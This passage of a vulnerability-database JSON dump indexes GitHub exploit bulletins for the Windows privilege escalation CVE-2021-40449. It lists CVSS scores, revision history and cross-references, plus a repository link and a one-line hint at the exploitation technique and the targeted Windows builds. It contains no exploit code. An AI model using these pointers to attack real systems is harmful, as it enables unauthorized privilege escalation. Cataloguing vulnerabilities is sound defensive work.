"SMB_NT_MS21_OCT_5006669.NASL"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA12310", "KLA12309", "KLA10856"]}], "modified": "2021-12-02T08:46:45", "rev": 2}, "score": {"value": 6.3, "vector": "NONE", "modified": "2021-12-02T08:46:45", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-12-02T08:46:45", "differentElements": ["modified"], "edition": 7}], "viewCount": 30, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449", "CVE-2016-3309"]}, {"type": "githubexploit", "idList": ["67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2016-0683", "CPAI-2021-0739"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038", "SECURELIST:1F59148E6615695438F94EF4956585AA"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2016-3309", "MS:CVE-2021-40449"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026", "1337DAY-ID-28749"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS16-098.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006715.NASL"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA12309", "KLA12310", "KLA10856"]}], "modified": "2021-12-05T05:09:40", "rev": 2}, "score": {"value": 6.3, "vector": "NONE", "modified": "2021-12-05T05:09:40", "rev": 2}}, "objectVersion": "1.6", "_object_type": "robots.models.githubexploit.GithubExploitBulletin", "_object_types": ["robots.models.base.Bulletin", "robots.models.githubexploit.GithubExploitBulletin"], "privateArea": 1}, {"id": "B45F7278-2C20-5C06-B834-59D960047852", "vendorId": null, "hash": "cb020ed62f392735c78a855e0e2d260f", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for ['CVE-2021-40449']", "description": "# CVE-2021-40449-Exploit\n\nolny worker on w...", "published": "2021-10-20T09:24:36", "modified": "2021-11-18T08:11:20", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "", "reporter": "", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-12-01T17:33:59", "history": [{"bulletin": {"id": "B45F7278-2C20-5C06-B834-59D960047852", "vendorId": "GITHUBEXPL:KALENDSI-CVE-2021-40449-EXPLOIT", "hash": "45312dbeedc5e2f65a8ec25f0f9bc8c0", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CVE-2021-40449-Exploit\n\nolny worker on windows 10 14393,and windows 10 17763\n\n\nUse Palette to Spay and RtlSetAllBits to Write \n\n\n\n", "published": "2021-10-20T09:24:36", "modified": "2021-11-01T11:52:39", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/KaLendsi/CVE-2021-40449-Exploit", "reporter": "KaLendsi", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-02T13:26:00", "history": [], "viewCount": 4, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["059CF457-59E4-5647-A0BC-0014C543D6D3", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006729.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-02T13:26:00", "rev": 2}, "score": {"value": 5.0, "vector": "NONE", "modified": "2021-11-02T13:26:00", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-02T13:26:00", "differentElements": ["modified"], "edition": 1}, {"bulletin": {"id": "B45F7278-2C20-5C06-B834-59D960047852", "vendorId": "GITHUBEXPL:KALENDSI-CVE-2021-40449-EXPLOIT", "hash": "716cf5d2130f6e62f15edb543a01956c", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CVE-2021-40449-Exploit\n\nolny worker on windows 10 14393,and windows 10 17763\n\n\nUse Palette to Spay and RtlSetAllBits to Write \n\n\n\n", "published": "2021-10-20T09:24:36", "modified": "2021-11-06T03:46:34", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/KaLendsi/CVE-2021-40449-Exploit", "reporter": "KaLendsi", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-06T04:10:22", "history": [], "viewCount": 7, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006667.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-06T04:10:22", "rev": 2}, "score": {"value": 5.0, "vector": "NONE", "modified": "2021-11-06T04:10:22", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-06T04:10:22", "differentElements": ["modified"], "edition": 2}, {"bulletin": {"id": "B45F7278-2C20-5C06-B834-59D960047852", "vendorId": "GITHUBEXPL:KALENDSI-CVE-2021-40449-EXPLOIT", "hash": "1ff1e79c9939d6927208659599cd73cb", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for CVE-2021-40449", "description": "# CVE-2021-40449-Exploit\n\nolny worker on windows 10 14393,and windows 10 17763\n\n\nUse Palette to Spay and RtlSetAllBits to Write \n\n\n\n", "published": "2021-10-20T09:24:36", "modified": "2021-11-08T07:39:23", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/KaLendsi/CVE-2021-40449-Exploit", "reporter": "KaLendsi", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-08T17:27:40", "history": [], "viewCount": 7, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006667.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-06T04:10:22", "rev": 2}, "score": {"value": 5.0, "vector": "NONE", "modified": "2021-11-06T04:10:22", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-08T17:27:40", "differentElements": ["title"], "edition": 3}, {"bulletin": {"id": "B45F7278-2C20-5C06-B834-59D960047852", "vendorId": "GITHUBEXPL:KALENDSI-CVE-2021-40449-EXPLOIT", "hash": "bc593740d6acc944773460b4a0e57434", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449-Exploit\n\nolny worker on windows 10 14393,and windows 10 17763\n\n\nUse Palette to Spay and RtlSetAllBits to Write \n\n\n\n", "published": "2021-10-20T09:24:36", "modified": "2021-11-08T07:39:23", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/KaLendsi/CVE-2021-40449-Exploit", "reporter": "KaLendsi", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-08T20:20:02", "history": [], "viewCount": 11, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006670.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}], "modified": "2021-11-08T20:20:02", "rev": 2}, "score": {"value": 4.4, "vector": "NONE", "modified": "2021-11-08T20:20:02", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-08T20:20:02", "differentElements": ["modified"], "edition": 4}, {"bulletin": {"id": "B45F7278-2C20-5C06-B834-59D960047852", "vendorId": "GITHUBEXPL:KALENDSI-CVE-2021-40449-EXPLOIT", "hash": "bb0778b5ca19df58a98f321dcdd88de1", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449-Exploit\n\nolny worker on windows 10 14393,and windows 10 17763\n\n\nUse Palette to Spay and RtlSetAllBits to Write \n\n\n\n", "published": "2021-10-20T09:24:36", "modified": "2021-11-18T08:11:20", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/KaLendsi/CVE-2021-40449-Exploit", "reporter": "KaLendsi", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-18T08:41:07", "history": [], "viewCount": 19, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006732.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}], "modified": "2021-11-18T08:41:07", "rev": 2}, "score": {"value": 4.4, "vector": "NONE", "modified": "2021-11-18T08:41:07", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-18T08:41:07", "differentElements": ["cvss2", "cvss3"], "edition": 5}, {"bulletin": {"id": "B45F7278-2C20-5C06-B834-59D960047852", "vendorId": "GITHUBEXPL:KALENDSI-CVE-2021-40449-EXPLOIT", "hash": "6f524d287c53a541de91d8a32314d7bc", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449-Exploit\n\nolny worker on windows 10 14393,and windows 10 17763\n\n\nUse Palette to Spay and RtlSetAllBits to Write \n\n\n\n", "published": "2021-10-20T09:24:36", "modified": "2021-11-18T08:11:20", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://github.com/KaLendsi/CVE-2021-40449-Exploit", "reporter": "KaLendsi", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-27T11:30:43", "history": [], "viewCount": 22, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038", "SECURELIST:1F59148E6615695438F94EF4956585AA"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006728.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}], "modified": "2021-11-27T11:30:43", "rev": 2}, "score": {"value": 4.4, "vector": "NONE", "modified": "2021-11-27T11:30:43", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-27T11:30:43", "differentElements": ["title"], "edition": 6}], "viewCount": 24, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "securelist", "idList": ["SECURELIST:1F59148E6615695438F94EF4956585AA", "SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}], "modified": "2021-12-01T17:33:59", "rev": 2}, "score": {"value": 4.2, "vector": "NONE", "modified": "2021-12-01T17:33:59", "rev": 2}}, "objectVersion": "1.6", "_object_type": 